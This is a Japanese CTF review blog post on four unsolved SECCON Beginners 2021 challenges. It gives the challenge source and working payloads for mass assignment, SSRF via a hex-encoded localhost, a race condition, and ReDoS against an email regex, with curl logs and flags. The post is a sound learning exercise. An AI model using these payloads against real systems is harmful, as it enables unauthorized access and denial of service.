SECCON Beginners CTF 2021 解けなかった問題を勉強した記録

SECCON Beginners CTF 2021 解けなかった問題を勉強した記録
悔しさを忘れないために残す
反省なくして，進歩なし

# web 02 Werewolf

## 問題
I wish I could play as a werewolf...
https://werewolf.quals.beginners.seccon.jp/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/321ae6a8-c35d-d6ab-4c51-4c0d93d7bcfa.png)

入手データ

```python:app.py
import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
```

## 当日の行動

```python
        for k, v in request.form.items():
            player.__dict__[k] = v
```

を見て,　Burp で POST データを改ざんし

```
name=AAA&color=red&role=WEREWOLF
```

とか

```
name=AAA&color=red&__role=WEREWOLF
```

とか

```
name=AAA&color=red&self.__role=WEREWOLF
```

を試したが通らなかった。

恥ずかしくてこれ以上は書けないが，これだけではなく，約２時間いろんな無駄なパターンを試していた。

## 復習と反省

`__変数`とは何かをググる

参考サイト

https://qiita.com/nkennek/items/8c54365cb873cca8730a

https://www.nblog09.com/w/2019/01/09/python-protected-private/

`__変数`（前に`_`が２個ついた変数）は疑似的なプライベート変数で外部から書き換えができないが，内部的に `_クラス名__変数名` で public変数 が用意されている。

実験

```
curl -w '\n' 'https://werewolf.quals.beginners.seccon.jp/' --data 'name=AAA&color=red&_Player__role=WEREWOLF' -XPOST
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/b45c8834-ee5a-6c3d-6185-6f6c9fa64761.png)

なんで　「`__変数` python」ってググらかったのか？
わからないことは，ちゃんと調べようぜ。

復習してて Burp について気づきがあった。
成功例
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/ad14c21a-6ca8-4ee1-507c-08c4f4c8076f.png)

ありがちなミス
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/85b4e0b5-d232-10d9-8a01-02385e3923e0.png)
POSTで送るデータを改ざんするとき，よけいな改行に注意



# web 03 check_url

## 問題
Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/

入手データ

```php:index.php
<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->
```

## 当日の行動

直球
127.0.0.1
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/f3a82197-4993-12a7-339a-69d01d2d57aa.png)
ダメ 127👻0👻0👻1 になる

直球２
localhost
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/b25a7ea9-e1e6-d296-fa48-475d6e7f84b6.png)
対策済みだ

変化球思いつかない

「localhost 同じ意味」ググってみる
ない


## 復習と反省

「localhost 127.0.0.1 その他」でググったら

https://qiita.com/naka_kyon/items/88478be20b300e757fc0

2130706433 (Decimal)
0x7F000001 (Hex)
017700000001 (Octal)

2130706433
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/80104b22-b71a-4090-efb3-2df99499f8b2.png)
Bad Request

0x7F000001
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/50531d00-6473-d51a-445b-b4390a2abf3a.png)
当たりですね。

また

```
              echo "Hi, Admin or SSSSRFer<br>";
```

を見ていなかった。

SSRF（Server Side Request Forgery）だ
ヒントあるじゃん。

https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html


少し調べただけで，localhost の代わりは無いと決めつけてしまった。
調べようが足りない。


# web 05 cant_use_db

## 問題
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/b9cdb4bc-4f81-1a9f-973e-1d9018dbdc94.png)


入手データ

```python:app.py
import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect

app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)


def init_userdata(user_id):
    try:
        os.makedirs(f"./users/{user_id}", exist_ok=True)
        open(f"./users/{user_id}/balance.txt", "w").write("20000")
        open(f"./users/{user_id}/noodles.txt", "w").write("0")
        open(f"./users/{user_id}/soup.txt", "w").write("0")
        return True
    except:
        return False


def get_userdata(user_id):
    try:
        balance = open(f"./users/{user_id}/balance.txt").read()
        noodles = open(f"./users/{user_id}/noodles.txt").read()
        soup = open(f"./users/{user_id}/soup.txt").read()
        return [int(i) for i in [balance, noodles, soup]]
    except:
        return [0] * 3


@app.route("/")
def top_page():
    user_id = session.get("user")
    if not user_id:
        dirnames = datetime.datetime.now()
        user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
        if not init_userdata(user_id):
            return redirect("/")
        session["user"] = user_id
    userdata = get_userdata(user_id)
    info = {
        "user_id": re.sub("^[0-9]*?/", "", user_id),
        "balance": userdata[0],
        "noodles": userdata[1],
        "soup": userdata[2]
    }
    return render_template("index.html", info = info)


@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/buy_soup", methods=["POST"])
def buy_soup():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 20000:
        soup += 1
        open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 20000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸💸$20000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/eat")
def eat():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    shutil.rmtree(f"./users/{user_id}/")
    session["user"] = None
    if (noodles >= 2) and (soup >= 1):
        return os.getenv("CTF4B_FLAG")
    if (noodles >= 2):
        return "The noodles seem to get stuck in my throat."
    if (soup >= 1):
        return "This is soup, not ramen."
    return "Please make ramen."


if __name__ == "__main__":
    app.run()
```

ファイルで balance (残高) を管理しており，ORACLE DATABASE の SELECT FOR UPDATE のようなロック処理が無いため，残高以上の買い物ができる可能性がある。

## 当日の行動
何も思いつかず，早々にギブ
配布されたファイルすら見ていなかった。

## 復習と反省

参考（作問者writeup）

https://qiita.com/satoki/items/36837fce2fff7a584947#web-cant_use_db

pythonだとうまくいく（コードは作問者writeup）

```
>python Ramen.py
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
{'session': 'eyJ1c2VyIjoiMTcyOC9BS1B0UTNwWXlyUEcxOWZuZFRkYkRWbE1LRVk0bXBuRTZZcVFDMGk4In0.YKtjpg.LZmKYmjFc28osyfxD3jK01Aj8bo'}
C:\Users\xxx\Anaconda3\lib\site-packages\urllib3\connectionpool.py:847: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
  InsecureRequestWarning)
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
```

curlだと非同期通信できないのかうまくいかない。
残高が足りないと怒られる。
※各コマンドは一度にコピペで貼っているので操作時間はゼロです。

```
$ curl -c cookie.txt -k 'https://cant-use-db.quals.beginners.seccon.jp/'
<!doctype html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Can't use DB.</title>
    <link rel="stylesheet" media="all" href="static/css/ress.min.css" />
    <link rel="stylesheet" media="all" href="static/css/style.css" />
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
</head>
<body>
<header>
    <div class="container">
        <div class="row">
            <div class="col span-12">
                <div class="head">
                <h1><a href="javascript:alert('🍜')">Hack ramen 🍜</a></h1>
                </div>
            </div>
        </div>
    </div>
</header>
<div class="mainimg">
    <div class="container">
        <div class="row">
            <center>
            <div class="col span-6">
                <img src="static/img/ramen.jpg" alt="ramen">
            </div>
            </center>
        </div>
    </div>
</div>
<main>
<section>
    <div class="container">
        <div class="row">
            <div class="col span-6">
                <div style="padding: 10px; margin-bottom: 10px; border: 1px dotted #333333;">
                <center>
                <h2  class="catch">UserData (texts)</h2>
                <h5>Balance: $20000</h5>
                <h5>Noodles: 0/2</h5>
                <h5>Soup: 0/1</h5>
                <h5>Wallet: <font size="4">7Je13GedojBc5hYTWXKiK7swd4HBnk-B2R8nPQwD</font></h5>
                </center>
                </div>
            </div>
            <div class="col span-6">
                <center>
                <h2  class="catch">Store</h2>
                Noodles $10000<br>
                <button style="width:80%;" onclick="$.post('/buy_noodles', function(data){alert(data);location.reload();});">Buy</button><br>
                Soup $20000<br>
                <button style="width:80%;" onclick="$.post('/buy_soup', function(data){alert(data);location.reload();});;">Buy</button><br>
                <font color="red">Flag</font><br>(Noodles>=2, Soup>=1)<br>
                <button style="width:80%;" onclick="location.href='./eat';">😋</button><br>
                </center>
            </div>
        </div>
    </div>
</section>
</main>
</body>
</html>$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginneon.jp/buy_noodles' --data '' -XPOST
💸$10000
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' --data '' -XPOST
💸$10000
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k -w '\n' 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' --data '' -XPOST
ERROR: INSUFFICIENT FUNDS
$ curl -b cookie.txt -k 'https://cant-use-db.quals.beginners.seccon.jp/eat'
The noodles seem to get stuck in my throat.
```

普通にブラウザから連打
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/32a80fc7-4032-18c9-2d7d-2b35270e7373.png)
ポップアップが出る前にラーメン２回，スープ２回連打できればフラグがとれる。

配布されたデータくらい見ようね。

# misc 02 Mail_Address_Validator

## 問題
あなたのメールアドレスが正しいか調べます．
nc mail-address-validator.quals.beginners.seccon.jp 5100

入手データ

```ruby:main.rb
#!/usr/bin/env ruby
require 'timeout'

$stdout.sync = true
$stdin.sync = true

pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i

begin
  Timeout.timeout(60) {
    Process.wait Process.fork {
      puts "I check your mail address."
      puts "please puts your mail address."
      input = gets.chomp
      begin
        Timeout.timeout(5) {
          if input =~ pattern
            puts "Valid mail address!"
          else
            puts "Invalid mail address!"
          end
        }
      rescue Timeout::Error
        exit(status=14)
      end
    }
    
    case Process.last_status.to_i >> 8
    when 0 then
      puts "bye."
    when 1 then
      puts "bye."
    when 14 then
      File.open("flag.txt", "r") do |f|
        puts f.read
      end
    else
      puts "What's happen?"
    end
  } 
rescue Timeout::Error
  puts "bye."
end
```

## 当日の行動

このコードを見て，
ステータス = 14 でフラグがとれる
Timeout::Error で ステータスに14をセットしている
ことはすぐに理解できたが，見落としもあった。

見落とし１

```
Timeout.timeout(5) {
}
```

で，５秒で処理が終わらなければタイムアウトエラーを発生させている。
いつも無限ループに困っていたが，こんなコーディングが出来るなんて。
初めて見た。

見落とし２

終わらなければタイムアウトさせる処理が

```
if input =~ pattern
```

だということ。

## 復習と反省

キーワード「正規表現　タイムアウト」でググってみる。
有益な情報は見つからない。

"A" * 400,000を送ってみる

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/99ddca55-dd45-8e2f-22eb-2acefe38c21f.png)

ダメだ。びくともしない。
※80万文字を送るとフラグがとれたというwriteup発見。どこまでやり続けるか判断が難しい。

writeup を見る

```
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
```

末尾の.を取ると

```
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
hoge@fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga.fuga
Valid mail address!
bye.
```

参考サイト
正規表現でのメールアドレスチェックは見直すべき – ReDoS

https://blog.ohgaki.net/redos-must-review-mail-address-validation

ググるときの正解キーワードは，「正規表現 攻撃」だったのね。


rubyを敬遠しない
プログラムをきちんと読む
わからない命令はネットで調べる